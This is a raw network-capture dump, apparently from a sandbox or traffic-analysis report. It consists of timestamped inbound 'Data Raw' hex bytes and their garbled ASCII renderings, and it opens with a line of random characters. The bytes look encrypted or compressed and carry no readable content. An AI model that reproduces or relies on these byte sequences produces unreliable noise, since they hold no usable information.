,d\|:<P?iGvNef4m,"$;-Xg3f$lvd=d,\OJ<B#GhL_@7(pnOSG"NTFY',4-sl,hqW^@<v3OR%q#/(:wHfvF:V[i?Q5p
2021-12-28 04:19:41 UTC	2161	IN	Data Raw: b7 13 09 0c 64 87 29 72 64 48 91 bd a0 33 a3 c6 1b 23 d3 28 fd ea 4a 4d 52 c4 51 2d fb 48 aa 11 a8 39 1f 3b c0 53 14 44 ea 75 74 ac 1f aa a8 0d 08 6b b1 0d 45 2d aa af b3 2c ae eb a7 bb b9 a2 28 57 0c 53 3c 18 b0 c7 cf 2d 9c ca 88 39 69 a1 a6 d0 55 6a 08 e8 7b 79 f8 23 7c 32 de 37 26 e5 18 fb 4d 62 35 59 c3 10 29 b1 30 b9 fe 0b b9 d0 be 72 d5 e1 af 20 c4 91 6f ce 6a e3 3e c7 cc a7 9b 92 4c 3d ff 59 de 02 e6 f5 43 fa 0d 84 89 96 f9 7b 39 90 43 43 49 6a 79 12 a9 0a 70 b2 00 5f 5e 52 e6 f0 5f 30 05 03 7c bd e9 3d f4 e1 82 0e 31 2d 82 58 e9 26 41 bf 3f 79 1b a0 9e c2 8a bb ef 85 8c bf 72 f4 4a 2e 1e 57 84 a4 e6 a9 cb a6 33 6a 53 8b eb 4c c0 cb 3c 95 08 aa 90 ee 6b 54 55 c7 f8 91 63 04 12 a9 92 bc cc 12 4d f0 71 55 16 06 de 6f 4c b5 d5 85 58 48 77 35 86 72 08 Data Ascii: d)rdH3#(JMRQ-H9;SDutkE-,(WS<-9iUj{y#\|27&Mb5Y)0r oj>L=YC{9CCIjyp_^R_0\|=1-X&A?yrJ.W3jSL<kTUcMqUoLXHw5r
2021-12-28 04:19:41 UTC	2177	IN	Data Raw: d7 1a d4 b2 4b e2 b5 73 11 d6 31 ca de 49 54 b8 79 03 c0 ae 70 82 3b 5c 27 ff 93 54 09 69 31 75 2b b7 8e 6b 7c b5 a3 5a 01 df 32 f8 5a d5 bb a1 e7 53 d9 7a 2f dc 26 ab 54 e9 5c 19 c8 41 ac f9 6f 27 fd b8 1d f5 19 fb 6d 5a a9 f7 0e 8e c0 ff 85 b6 12 4c fd 5e 5d 91 27 df 53 e9 1c 25 2c a7 dd ca 31 69 bb 71 05 43 8c 6f 45 cb a2 6e 9a 6f 2e 3a b2 a6 b5 83 57 33 de 3b 7b 6a 28 ff e4 85 23 08 f2 a6 a3 51 21 1b 90 18 a6 a5 e9 3a 21 e9 5b a6 09 23 dd 4d 80 95 83 a3 5f 34 cd 22 e7 3f 1c 17 20 fd 51 45 5d 1f ce d9 17 96 30 6b 93 02 e1 18 96 46 0a 3b cb 46 79 41 9c 2a 28 c5 12 30 09 4c a6 66 0a e4 ea 5c 44 e5 bc c7 00 74 87 25 b9 7b a5 b3 2f 1a e0 45 b7 2c 6c e1 37 14 c1 3a 64 ab 50 ce 59 0c 6e 50 ca d2 fc 03 8a ac e9 96 e6 81 4d 94 45 52 17 89 30 0e b1 ac a2 53 a5 Data Ascii: Ks1ITyp;\'Ti1u+k\|Z2ZSz/&T\Ao'mZL^]'S%,1iqCoEno.:W3;{j(#Q!:![#M_4"? QE]0kF;FyA*(0Lf\Dt%{/E,l7:dPYnPMER0S
2021-12-28 04:19:41 UTC	2193	IN	Data Raw: c9 2b 3a 99 56 c2 a1 ca 5f 58 2c 3f fc c2 5f 9d 0f 5f 00 ec 7e 70 c2 04 cb 4d 76 0d 09 64 7a 15 c9 13 5d 54 9e 38 db 8d dd 78 0a de 34 26 18 d4 c0 40 73 a1 10 1d d6 8e 12 d8 13 e7 eb f8 46 4b 8a d2 e0 7d 13 e1 f7 f4 0b 1d 25 4d 5d 10 b4 6e d6 21 1b b7 93 b1 10 3a 97 77 c0 4c ba 3a 71 45 0a 4e 1a e1 7f 43 71 86 24 71 f6 d0 a0 dc ae 49 b1 97 01 91 3a fb 15 44 d8 b5 66 fb da df 03 94 84 59 13 69 0b c5 9c 03 58 5e 21 24 a5 e6 3b 1a fb d2 db d8 38 c8 8d c4 f8 4b 65 44 2d 66 7a 49 f2 7f 78 de 77 0c e9 12 5a 92 ac b5 21 98 dc 36 ca 19 84 33 75 33 64 22 75 35 3b be 10 9a 7b 25 62 6d c6 fa ba 8b b6 3f 5d 4d cb 09 5f 81 5d d3 88 fb a3 7d be 10 bd 2c f8 fc 99 33 ac 1d 2a d2 64 58 cb 48 af 34 91 59 5a b8 2e 3c 52 55 0e b5 4e f7 f7 30 74 ef b4 4f d5 c8 fe 20 2f 84 90 Data Ascii: +:V_X,?__~pMvdz]T8x4&@sFK}%M]n!:wL:qENCq$qI:DfYiX^!$;8KeD-fzIxwZ!63u3d"u5;{%bm?]M_]},3*dXH4YZ.<RUN0tO /
2021-12-28 04:19:41 UTC	2209	IN	Data Raw: 03 4a 55 38 57 fc a4 fc 14 2e dc 74 9f 9e ff b1 01 29 8b 6e 74 57 a7 82 b7 c8 16 06 d7 2c 06 81 ce e4 05 56 d4 c7 6d 73 d1 7c d9 49 23 7a 4a 71 e6 f0 f3 36 c9 ab c9 fb 7a c6 39 03 5d 47 73 90 98 29 35 b7 d8 12 91 9d cc 1b db 85 bc a0 54 7f af 52 14 b0 7f bd 20 03 04 a1 2e 8e c0 a0 93 a0 85 28 13 df a5 23 dc 75 66 41 d1 86 85 dc 98 95 12 c6 4c 6f 45 4b b3 2c f3 4c e6 e0 b8 0e 6e c7 17 c8 28 11 dc cd 59 33 2a fa 6e 9b 4f 4c a9 b4 9e d3 e4 b4 1e 2a 9f 1e a7 7d cc 2f 33 28 54 c0 4a 53 9e b5 06 98 70 9a 49 fc a8 f2 d9 52 9b 2b b9 9d c2 26 d7 f3 fd 68 00 ec 11 54 ea 88 44 79 da 44 3a 9d 2c c4 d4 2b c1 19 48 69 ad 66 75 88 29 8e 24 22 80 8d 6c 82 5c 86 0f 85 76 a3 b2 ac cd e0 2a 7c b2 f1 11 bf f8 3a 7a 09 f2 56 a9 15 75 39 f9 39 8c e8 ca 2a f8 9e 19 d5 43 72 f7 Data Ascii: JU8W.t)ntW,Vms\|I#zJq6z9]Gs)5TR .(#ufALoEK,Ln(Y3nOL}/3(TJSpIR+&hTDyD:,+Hifu)$"l\v\|:zVu99Cr
2021-12-28 04:19:41 UTC	2225	IN	Data Raw: 94 0b b3 21 61 f9 fc 13 1e ba ed ed bc 28 c4 33 47 0d f7 06 d2 e8 3e 25 86 fc 1c 4e ef 93 a6 86 02 59 b6 2a 1d 71 9c c5 13 a9 45 96 85 31 65 a1 2f 7a dc 05 4c 84 64 16 df a5 0d 2b ca 0a f0 41 c5 f1 f7 3d 34 07 4b d2 9c a1 91 3b 8e 90 54 b9 da 05 83 9e ba ca e6 3d 3d 16 6c 2c 45 6a ae 82 da 35 49 43 5c c5 68 fd 04 4f 75 10 b3 e1 a0 c6 c5 b6 ab 2c 15 f9 db 99 99 5c 67 d0 82 fd db a6 b1 d6 9a 36 a1 6b 27 e6 22 45 25 51 63 60 18 25 4e 59 2f f1 a4 62 79 47 a3 fa 18 dd 00 f8 21 c6 bc 81 96 2f 17 32 6a bf 09 0a 46 14 48 b9 c5 66 83 43 9e e2 65 5d 30 c5 62 4f 3c 8b bc 9e 7f 51 2d f7 19 0b 15 25 48 19 1b b4 62 0c 0a fe 2f 17 57 90 6b cf 38 31 72 ea 66 7b 80 0b 11 67 c8 24 b4 50 af 0a f1 21 34 47 61 e0 de 6c 2c 80 8c 71 02 ce 7f bd 07 9a 02 52 cf 10 de 73 45 5c 20 Data Ascii: !a(3G>%NY*qE1e/zLd+A=4K;T==l,Ej5IC\hOu,\g6k'"E%Qc`%NY/byG!/2jFHfCe]0bO<Q-%Hb/Wk81rf{g$P!4Gal,qRsE\
2021-12-28 04:19:41 UTC	2241	IN	Data Raw: 1a e4 91 4e 7e 41 d6 48 de 46 01 66 00 c8 af 68 42 16 49 3d 36 c8 2c d7 b6 fb 64 66 55 10 9f 80 09 f7 88 f6 1a 8f e1 f8 ba 32 fd 50 25 8e 47 a3 07 ff e3 a7 53 15 4d 34 7e 18 e5 15 3a b6 31 7d a9 ce ff 6b 8f 76 19 e1 0a dc c8 c8 41 5c 8c 31 52 00 29 5e 30 fa 1a 04 e6 b0 67 f3 a1 15 f7 0d 55 8c bb 20 ac a1 73 bf 06 38 b9 8a 8a d8 bd 20 04 10 19 dd 7b d9 c3 f1 98 45 3e a2 a4 f1 bd 89 28 f1 e3 bd 9e b4 7a 4f 83 4b 5a bf 1d f9 4c ca d1 ee 9a b9 e9 17 c9 c7 3c be 47 a4 fd f2 28 71 ea 80 15 6f 37 2a 5a ce 24 b4 ed 1a 81 0f 82 8b 77 97 73 34 7c b5 b6 b2 b7 d5 d7 1b 30 20 a8 5c 1c 4c 6f 45 5f eb 67 48 c4 4a c8 cb 71 4a f2 33 92 49 9a 49 26 7e 9c da 15 84 75 6c 14 02 00 85 96 e5 49 e9 b6 2c 70 f5 22 de 09 dc d3 c1 09 ef 74 70 54 1d c9 be aa a4 fe 7c ff d4 b5 d7 9d Data Ascii: N~AHFfhBI=6,dfU2P%GSM4~:1}kvA\1R)^0gU s8 {E>(zOKZL<G(qo7*Z$ws4\|0 \LoE_gHJqJ3II&~ulI,p"tpT\|
2021-12-28 04:19:41 UTC	2257	IN	Data Raw: bd 68 59 0e 50 3e 16 3b 5b f9 93 89 8b e9 e3 fe 65 8d a0 a2 1c 4a 6b 37 08 83 5a c7 db 82 12 1a 8a 54 6a 9d 62 50 b9 c3 13 ab ed e8 bb 6a 79 6b 4b c7 fd 78 ec e5 3e 71 e3 45 7d cc 50 4d 37 52 39 6e bf 50 b9 6b 2a e5 17 5c 3b 77 8b 6e bd cd fa e2 a7 73 90 fe 14 ca b4 dd e6 98 58 2d 36 73 fb 41 e2 eb 2a 5f 3f 3c a8 9f 4d 44 2c 1e 95 cc 5a 0a 78 c9 28 d6 f6 18 3c 74 5b ac 15 c6 29 c0 f5 e0 94 29 cb 3c 47 57 f6 09 cd 2d 4f 98 cf 1b 8f 24 b1 75 14 8b 40 d6 ce e6 2f 0d 53 23 e5 5a f2 6a aa 57 d3 f5 ae 45 26 7a be d7 fc 88 fd 39 42 2d 9a 7c f2 3c 71 ea 28 ba f7 75 41 d1 b4 91 fa 24 a9 1c 87 dc d0 f0 39 d8 fd bb ec d5 66 4a 14 e8 de 65 96 5d 0a 2a 57 cf 0b 71 aa 3d 95 a6 62 fb 9b 3d 92 dd 25 c2 61 ca 1b 7d bf 29 70 2b e7 a0 1c 71 6b 52 af ea 1f e6 81 ff 95 25 8d Data Ascii: hYP>;[eJk7ZTjbPjykKx>qE}PM7R9nPk\;wnsX-6sA_?<MD,Zx(<t[))<GW-O$u@/S#ZjWE&z9B-\|<q(uA$9fJe]*Wq=b=%a})p+qkR%
2021-12-28 04:19:41 UTC	2273	IN	Data Raw: 60 f3 d7 3b 09 ef 57 13 89 55 04 8a 73 5c 8c ac ce d7 f0 b6 5e c2 be 37 1d 09 32 b2 8b 38 75 49 2c 52 26 1a 00 4a ea de d5 5e 0e 97 4a 4d 24 ad 38 28 8b d1 8b 2d 9d c0 47 08 97 d7 f9 36 7a 83 c4 d5 9c be 56 3a f2 cf b0 63 b6 c0 7a 2b 82 c2 93 93 c2 16 70 58 53 ff 35 4d 32 92 f5 c1 02 b4 f8 89 4e b1 aa d5 b0 15 95 43 94 e0 cc b9 14 28 57 eb ab 41 7f ba a5 41 10 f8 43 2f 76 69 e4 c9 6f cd a1 35 c2 e6 0d 9e 94 60 9b 7a 9c 8c 5c 8c 06 95 f2 be 12 dc e2 3e df fd ac 06 3c 26 5c 62 47 c9 d0 ad 9b 81 40 57 21 fb c6 8d 3d 35 18 e6 a2 ed c8 f4 a5 7d b4 ab 4d 9a 8d f9 0c df 5d 07 3f 3d 28 bf 9d 50 96 e7 e5 6b 7d f5 48 db e2 7a bc 54 e4 00 0d b2 dd f2 98 93 0d 5a 68 bd c5 f0 30 81 e3 62 93 e6 bb 8f 9b 01 06 4f c0 07 f4 fe 0b 68 ef 01 56 66 d0 5b 67 33 dc a0 52 2d 1e Data Ascii: `;WUs\^728uI,R&J^JM$8(-G6zV:cz+pXS5M2NC(WAAC/vio5`z\><&\bG@W!=5}M]?=(Pk}HzTZh0bOhVf[g3R-
2021-12-28 04:19:41 UTC	2289	IN	Data Raw: bc b5 d2 f5 6f ae 33 0c d5 ad b9 58 30 73 08 2c fb d8 15 80 c8 e4 de d6 7d 98 4b 66 9a 29 b2 df 38 18 f3 b0 e6 b8 f6 74 5f 28 2d 32 fd 58 a6 57 d2 df 09 b9 8d f2 73 ca c1 35 0a a9 40 93 42 a4 f6 65 9a e6 a7 3b fc 59 0a a9 7f cc 9f 70 84 dd 37 4b 7b f8 ff 06 40 fe 08 df ed 47 a0 b2 c3 e5 65 b2 a0 28 4a 58 62 6b 2f 6c a9 45 9f 83 4b b4 56 79 bc 2f ea 6e c8 0c 9e 42 60 d2 7c 56 e1 39 49 9f e7 70 21 f1 4a b8 c6 a6 bd d9 05 77 f7 ec 4d ab d0 89 74 f5 fe d1 c6 67 46 cb 97 3e 07 ef a2 d1 24 cc f5 c2 2d 71 d7 82 ac 40 a2 f6 42 86 b8 47 d4 eb d7 29 6d 4a 15 5a b0 a8 b9 92 23 8b bf f8 5c 91 f6 26 d0 85 d9 b7 40 e9 f4 12 1b f6 ae 31 d2 29 70 0e cf e8 90 ac 92 09 f1 a8 9a db 31 df 27 21 ca a1 49 1d 58 56 59 63 75 0f 80 aa 1d 14 2f 74 2d c0 a6 9d df 78 ef 17 33 58 42 Data Ascii: o3X0s,}Kf)8t_(-2XWs5@Be;Yp7K{@Ge(JXbk/lEKVy/nB`\|V9Ip!JwMtgF>$-q@BG)mJZ#\&@1)p1'!IXVYcu/t-x3XB
2021-12-28 04:19:41 UTC	2305	IN	Data Raw: b8 9a eb 90 87 ba 5f 99 73 af 87 93 d1 7a 80 ba 15 ef 9b 7c 3d fb a9 ba 7e 04 70 fd 0b 67 f2 f4 13 40 f3 fc 44 0e 77 65 75 02 69 19 38 9a d4 90 d9 cd 08 ef 3a c8 fa eb 5a 5d 99 79 4c d9 bc f2 a3 34 ff ed 5a cd 61 26 7c 51 6b aa e2 79 38 d0 72 b3 84 c3 1f c0 15 e3 b0 27 6f 89 4c 74 5c cf 61 27 3c 74 5e df b9 4b 11 b6 a5 3f c9 27 15 49 74 fe ce a7 11 66 f3 a7 c5 49 02 2e de a1 f0 86 10 a8 87 c6 2f a0 e7 bb ba 3a cc 37 b3 a7 ab 91 49 15 79 45 e7 56 96 4b 92 2c e2 e8 51 25 64 be 90 f1 f6 eb cc c8 8b d2 a5 a2 0f 45 1c 38 1a fa 48 8c 99 9f b9 07 c6 1a 2c aa 60 02 f9 de a1 ee cd 67 47 1c 80 17 ae 33 0c b0 58 6a cd 2d 79 9e b4 df c0 bc d8 08 92 99 ea e3 e0 ee ee bf ee 9e e1 b1 6a 2c 2a bb ba b5 e8 a1 53 ec 0f af 3f c0 9c 54 c0 84 08 c2 13 c3 95 0f 16 38 d8 db e5 Data Ascii: _sz\|=~pg@Dweui8:Z]yL4Za&\|Qky8r'oLt\a'<t^K?'ItfI./:7IyEVK,Q%dE8H,`gG3Xj-yj,*S?T8
2021-12-28 04:19:41 UTC	2321	IN	Data Raw: 81 31 d5 69 2e 47 82 f7 5b ec 34 e5 ca 15 dd 73 4b 9f 17 9b 21 85 b5 9a 5b dc b3 59 26 ef 41 aa 5c 18 13 77 a5 ce f5 49 79 46 e1 92 14 d1 ad c6 df 53 ac 80 28 72 4f f7 4e 80 a1 a0 98 47 e7 00 ac 4f 26 f8 4b 27 42 aa cb f4 9a 16 0c 6f d2 4c ce 88 2a bb dc 83 30 de f2 33 10 ab 38 d7 59 05 f2 cb 13 93 e6 f1 ff 78 31 64 4b e6 37 82 d4 cd 33 70 3a d9 83 b3 80 10 0a ba 52 e5 bd 58 8d ad 42 da 87 a6 e8 66 69 9f aa 72 61 33 f5 ad 11 e6 fa f0 6f 60 6f 9f 20 16 8d 1d 3b 1f f6 a0 ac 88 ac bf 6a b1 5f 02 f7 81 09 8a 5d 4f e9 46 a9 5a 64 9f 4d 8c ef 79 06 3b bd 23 33 e0 73 39 e9 c5 45 18 c8 a0 e6 d4 51 fb b4 36 21 ef 56 54 b7 7d 02 83 36 0e 96 cc 9d 1a 48 51 bf c9 ec 07 d5 92 cb 7c 5e a0 3d 8c c5 6d d7 ae 2a 22 c9 93 69 81 5f da 82 44 0c 3a 98 94 aa 15 d7 7f 27 49 4a Data Ascii: 1i.G[4sK![Y&A\wIyFS(rONGO&K'BoL038Yx1dK73p:RXBfira3o`o ;j_]OFZdMy;#3s9EQ6!VT}6HQ\|^=m"i_D:'IJ
2021-12-28 04:19:41 UTC	2337	IN	Data Raw: 1d b2 75 b5 98 39 da 3a da 75 a8 e0 8f ff 2a 46 65 3e e6 2a a8 28 b8 91 bb 67 7b 71 66 b6 52 20 61 72 12 f1 11 38 e2 ea 9f 6b 3c d0 83 2f b6 fa 86 7c 33 b9 d2 db 3a 71 d2 de f9 92 81 a8 32 7b 55 cd 0e 1f 40 05 37 19 e9 29 3c cb b5 2c 9f 06 14 21 c7 90 4a f8 ae f3 59 bc 27 70 bd 11 2e 2a e7 43 93 84 da 2a 89 fa e4 45 d6 9a 1a 26 68 f7 e5 66 3e 73 78 76 c3 d1 bf a5 f3 ca 66 4a c7 61 21 c5 f6 53 ea 3a e4 d5 8a d9 e2 dd 8e ea bc 1e 6e 53 c0 dc 61 0a 58 51 3b 26 c1 6d 63 af 92 79 97 b6 ae 1d 67 95 21 46 50 ef cf da 8e 11 aa 52 40 b8 a4 96 b8 3c 2b 66 74 ce 0f 14 08 c6 c0 cc 5b 01 b7 f5 c5 6f 0e 08 05 68 71 65 52 b1 f5 e4 bd 35 b3 15 73 d6 e3 30 16 a4 27 32 93 ad cc 1e b8 35 f2 d9 6c e0 58 40 60 38 43 d8 0f 15 35 00 67 6f 3e e1 6e 47 1e 33 89 06 00 09 bd a9 2a Data Ascii: u9:uFe>(g{qfR ar8k</\|3:q2{U@7)<,!JY'p.CE&hf>sxvfJa!S:nSaXQ;&mcyg!FPR@<+ft[ohqeR5s0'25lX@`8C5go>nG3*
2021-12-28 04:19:41 UTC	2353	IN	Data Raw: cd 34 30 a3 53 df f1 1a 9b cb 1f d3 70 f3 5b 15 74 23 6b 11 ae e2 62 b8 39 82 2b 08 44 22 ef 1a 42 d0 60 8d 96 71 58 35 92 32 83 31 4f 5c b4 82 f3 c0 6b bc fc ad 6b 92 48 62 4b 8a cb 3e 00 2e 23 46 53 dc b9 0c f1 b6 4a 66 ca a9 61 fe cd 75 8d 18 c4 07 0d 5b 3d 2f 8c 4a a3 52 85 6f 48 01 c5 d7 cd 45 09 d9 70 ac 1c d2 3b e4 d1 ae 76 b1 88 e8 48 cf e2 64 5a 82 54 5e a4 89 11 77 09 bd 9c a4 30 ee e9 aa 92 75 6d 2e 19 60 91 45 9e c3 72 55 89 08 5c 66 7f bf b7 91 90 2e 3d 74 af 2b a1 15 3e f8 e9 5d 9d 28 85 fb f9 51 89 8f c6 d3 ca cb 5a 79 ca 7e 97 48 9b 22 b9 df 9f 9f 70 30 8b 98 7e cb 8e 10 f0 a4 6b d1 f8 40 90 f3 39 9c 2d 9e 7b 0a 32 2d e3 e4 ec 66 60 24 86 b3 96 2e a9 23 32 b8 43 41 41 f3 cf d2 2c 73 16 0a 3c 9e a5 61 a5 17 fa fe 31 7a e6 be db 4d a1 33 bd Data Ascii: 40Sp[t#kb9+D"B`qX521O\kkHbK>.#FSJfau[=/JRoHEp;vHdZT^w0um.`ErU\f.=t+>](QZy~H"p0~k@9-{2-f`$.#2CAA,s<a1zM3
2021-12-28 04:19:41 UTC	2369	IN	Data Raw: 92 c0 00 c9 a4 3b 04 7a 6b da 01 7c 30 6c 4b 39 c1 49 1f 4b 16 f4 ab ab 8a ad 2a 1d 86 a6 0b db a2 57 64 77 a6 df 8c 29 ab f6 67 4b ae 75 39 57 48 4f 49 1f 7f bd 25 e6 d7 ae 6f 08 0f 30 54 00 a7 e8 e7 20 8b 3c e7 ba 56 67 41 68 fa c8 9e 94 28 fd 2c 67 c0 d1 ac 1e 57 0d 56 99 61 3d 90 0e ec da a8 14 d3 0e d7 80 9d a9 be ad d7 13 cd f6 a5 98 b8 8b dc 54 a8 42 2b d0 3f 46 9c 28 bd b7 36 dc c6 28 71 bd 87 ff 5f 51 94 20 42 c8 35 4e fc 90 f7 e9 66 a1 e7 c2 c3 77 79 19 bb 62 9c e4 3f 81 f9 70 e7 09 52 f3 c1 cf 9b b6 4f 18 5c 5d 81 a7 57 45 0a 00 ae 92 a7 cc 72 77 0b 09 2e 9f 3e 87 fa 53 54 76 76 df 63 d6 a0 f7 f2 87 76 ae 2c 2b 7b e5 ea ba 42 ba 19 bc 02 43 ea f4 55 38 ec b9 b3 7c 5e 52 4b e8 08 c7 a9 b1 86 6f ba 28 19 03 fc 13 3d 37 e2 6a 7a cf e1 42 8b ec b2 Data Ascii: ;zk\|0lK9IK*Wdw)gKu9WHOI%o0T <VgAh(,gWVa=TB+?F(6(q_Q B5Nfwyb?pRO\]WErw.>STvvcv,+{BCU8\|^RKo(=7jzB
2021-12-28 04:19:41 UTC	2385	IN	Data Raw: e2 70 82 59 a9 01 04 9f 73 17 5c bd d7 49 50 f4 ad e9 73 7d d9 95 71 7e a5 a9 91 12 66 5f 50 fe 6b 14 3c 74 d4 80 b1 b7 84 55 0c ab ff 88 1b 82 d0 71 e2 94 25 f5 d8 17 48 5f 13 7e 26 c1 77 c4 89 4e 9d 54 83 2c a8 22 e9 df b2 62 6c e0 f1 fd c0 12 a6 ea 42 ac b9 fe d0 00 b0 b7 76 22 17 92 20 cd 6d ec a7 fa 44 74 6c 27 1a 0f 60 22 7f bb f6 8d fd 36 fd cf 9a 92 6c c1 da 03 46 9e b0 eb 0d 3e e1 b5 38 24 0c 9c 12 d8 dd 7a ae 70 22 77 cb 31 5d f4 a5 41 7c 80 48 c6 38 f5 b5 f4 7e c7 fc 9a 82 90 eb fc 05 b6 58 eb 2a 0e cf a4 ea 68 4d 8b 8d 0f 0d dc d2 ea 38 df b3 f9 29 4e 49 70 aa fe 02 3a e4 49 12 a4 8b 7b 1f fd 0c 5c c7 9e 42 cc 99 2f f0 2f de f9 a1 a4 db 04 96 d8 3c cd ee 53 d8 f4 05 b0 eb c1 5b 62 fc 83 4a 5f 46 d8 eb 3b da 7e de d1 e2 1d 16 e2 e3 5a cb ae eb Data Ascii: pYs\IPs}q~f_Pk<tUq%H_~&wNT,"blBv" mDtl'`"6lF>8$zp"w1]A\|H8~X*hM8)NIp:I{\B//<S[bJ_F;~Z
2021-12-28 04:19:41 UTC	2401	IN	Data Raw: 8a da d1 ac 84 b5 86 e9 78 c5 9e 2f 36 0a ff ad 8e f6 4c cf 5e 1f 26 6d 8f d9 38 d4 cc 92 56 f5 33 a8 fa 78 01 f5 41 94 5c 11 9d 71 91 21 ab cc 9f 6e cc d6 83 7b 79 41 2b a7 1f 8e c9 62 79 fd 40 27 cc bd 20 6a 18 dc 67 1c df 21 4f 5b d5 67 ee 2f fe a3 c4 24 33 5a 9e 8e 8f 49 38 1e 04 dd 84 26 2b 0c 96 a6 01 db 95 49 61 b2 0c da a4 43 ce ab 8c e1 c9 fe 63 18 46 52 e4 32 b9 2d 32 41 68 74 a5 c6 21 75 fe 29 2c 66 ba d2 6c 08 85 58 c2 d7 cf c2 2c 75 e8 41 db 9d 1c 7a ae e7 fd a7 82 30 9b 70 10 88 dd 75 cb a5 f0 73 df 16 5f a0 e6 6a 77 bc a3 73 09 aa 57 14 1a 3a 1d 31 58 f1 21 d7 be 39 86 fe fe c0 34 de 81 2f ff 55 dd d3 cc 36 06 da ab 0b 60 66 9e 24 23 5d d7 f2 ae 61 22 17 55 61 c1 d1 2d 9f 7a 2d 03 4b 63 8e 4d 19 9e 5a c8 39 dd f4 b8 1d 4f 10 74 5a ad 54 c2 Data Ascii: x/6L^&m8V3xA\q!n{yA+by@' jg!O[g/$3ZI8&+IaCcFR2-2Aht!u),flX,uAz0pus_jwsW:1X!94/U6`f$#]a"Ua-z-KcMZ9OtZT
2021-12-28 04:19:41 UTC	2417	IN	Data Raw: 31 ca 0b a3 a7 38 19 f8 29 77 04 35 e0 cc f8 9f 97 98 8c 44 7f c5 ab 56 d6 7e f4 55 de ea 56 90 4b 2e 94 ef 43 83 10 d3 4d a4 e2 e2 79 25 9f af 68 9f 27 82 fa 15 f9 92 5f 3a 86 84 51 77 fb 4b 73 7e a2 dc 37 92 80 63 e1 30 28 18 f2 db 89 77 3c 66 51 63 72 35 5e 87 3e c6 78 1f 1f d6 23 06 2b d3 d6 c0 e2 fc 0a 60 ec 93 a7 27 3b 0d 88 2f 21 0c 80 77 8c ac cb a8 03 25 ce 7a bc 4d 68 88 9d 52 1e 2d 98 25 27 26 25 42 0d a0 b6 cc 62 00 fc 00 5b c7 38 0e 51 8e 9a 3b 4b 58 02 51 12 83 51 e4 4d af b2 e2 2c 94 ad 5c e6 64 02 03 ad 6c 96 85 f6 79 0b 68 02 ad 86 60 7c 51 b2 d0 4e fd 44 19 71 e9 3f 64 00 29 47 64 68 5a 50 c5 72 45 b5 e8 33 c6 50 9d c2 82 4f 97 36 1e e8 52 7c fa 0b 87 50 0f 4f d0 56 42 87 8e ee ee a4 d7 9e 67 5e d0 0a 9e 48 55 69 0d d8 4f e4 29 43 91 d5 Data Ascii: 18)w5DV~UVK.CMy%h'_:QwKs~7c0(w<fQcr5^>x#+`';/!w%zMhR-%'&%Bb[8Q;KXQQM,\dlyh`\|QNDq?d)GdhZPrE3PO6R\|POVBg^HUiO)C
2021-12-28 04:19:41 UTC	2433	IN	Data Raw: 74 c2 9c 62 eb 8b cc f5 26 85 9f cf db eb ba 0d 64 58 53 3b 4f 88 ad 1c 8a 1c 61 45 f6 58 3f 15 d3 5e 60 ef 99 4a 99 7d d2 c8 b7 db ad 9f 2e cb 26 1e 79 52 8e d7 04 83 2b 4a 20 a6 fe 58 e9 d0 99 49 71 23 4c d9 3e ec 48 2f d1 84 b3 24 8f 8d 58 4c 53 fc d2 a1 fe 39 5e 8a 79 29 f6 af ec 78 b3 25 11 99 ed 9a 28 c3 5d e5 3b 31 dc 9e da 23 06 60 5b a2 4c 3c 05 c3 42 3a 90 02 09 0d 5f 34 71 8e 3c f5 70 6b 32 73 ea d6 4e 43 ec c2 95 98 5f 23 3a 99 6a 6a 76 70 3d 24 7f 1e 4d 0b f2 62 50 cb ac 09 0c b1 0f 64 c8 26 a4 18 b0 7f 28 c6 74 15 67 6c ea a6 ea db 64 c9 88 20 eb d1 a7 78 c6 ab 90 62 1d 90 7d e4 dc 9f bd 4b 6a c6 be 3f c1 b3 d3 18 97 38 d2 51 de 88 fa 73 62 47 f0 58 ba 2c 69 44 99 dd ff 3c ca 2b f2 40 57 cb f8 ca b1 6f 5c 2e f3 ca 3f 06 25 c0 d7 ab 86 02 de Data Ascii: tb&dXS;OaEX?^`J}.&yR+J XIq#L>H/$XLS9^y)x%(];1#`[L<B:_4q<pk2sNC_#:jjvp=$MbPd&(tgld xb}Kj?8QsbGX,iD<+@Wo\.?%
2021-12-28 04:19:41 UTC	2449	IN	Data Raw: 3a 25 98 c4 a3 32 81 e9 ab 21 2f 20 5b a8 40 00 4c 94 24 cf 31 36 17 f1 a7 72 c0 3f fd 6d 34 5d 8f 30 e8 2c 50 b6 2b 3f c4 69 4f d6 bf 7a 28 81 84 cc 54 f7 75 93 c5 bc 8a dd 6f 1d 4d ee 4e e2 9f 61 92 a2 cc 74 58 52 1e a5 7f 63 02 53 db 59 0e 1d 53 e4 54 ff d8 64 51 00 57 99 2d 8d 91 37 53 88 e7 0e 6b b0 b5 ce d8 2b cb 24 4c d4 69 e5 20 47 ea 07 1b 18 9a 80 fd 52 9c 3e d5 7d 48 53 21 42 46 df 68 bc bc 19 8b 14 6a 5d f6 72 63 eb b3 26 86 83 33 a6 c2 3e 13 07 3a d5 6f fa bb b5 7f 0b ea 9a 82 53 7f ec 4e 0e 26 16 e8 ef fd c4 6f fb 33 93 43 0e f0 d5 93 4e 3f 07 ab 99 9b 7e 08 09 29 fc 7d bc 60 0e 2c b2 2c 51 6d cf ea c2 a4 5b 30 8a 82 54 b9 03 95 36 ce 12 74 25 85 4f 7c 2b 8b 1e 58 e9 9a e4 c7 7d 14 85 b9 44 8f ab 0f e9 92 23 40 3c b6 09 90 bd 95 45 c5 ff 80 Data Ascii: :%2!/ [@L$16r?m4]0,P+?iOz(TuoMNatXRcSYSTdQW-7Sk+$Li GR>}HS!BFhj]rc&3>:oSN&o3CN?~)}`,,Qm[0T6t%O\|+X}D#@<E
2021-12-28 04:19:41 UTC	2465	IN	Data Raw: d9 a4 cb 63 a0 9a f0 dd b8 fe 3b 04 ea ed b5 5b c5 29 f6 31 4d 58 d7 b9 3f a4 f5 23 b2 59 15 7d 26 43 24 31 1b 12 59 f5 1f 87 f9 f1 0b 4b cd 8c 05 1e 3b a6 56 3c c2 7e 74 1f 43 90 d4 57 cf 46 eb e1 1f 04 65 bb e3 35 f0 61 58 4b 9d ca cb d9 06 9f e0 91 16 c1 28 3b f9 29 2e b9 c7 dd 0e b8 b8 ee 9c 30 f6 c2 f7 5e 1b e5 31 3a 12 aa 48 18 e9 08 41 c1 79 47 97 7a 33 bc c4 b1 85 3e 4f e2 a4 34 76 74 4b a9 6c 3a 0e 0d cf 49 3b 64 e8 b3 08 60 da c5 76 b1 4c 9a 0a df f2 cd f2 6c 19 0b c3 c4 e1 7d 4a ae c1 8a 52 2c b0 9b 51 a2 43 e6 9f b5 ea b1 58 a5 05 aa be bb 57 8b ed dc 75 86 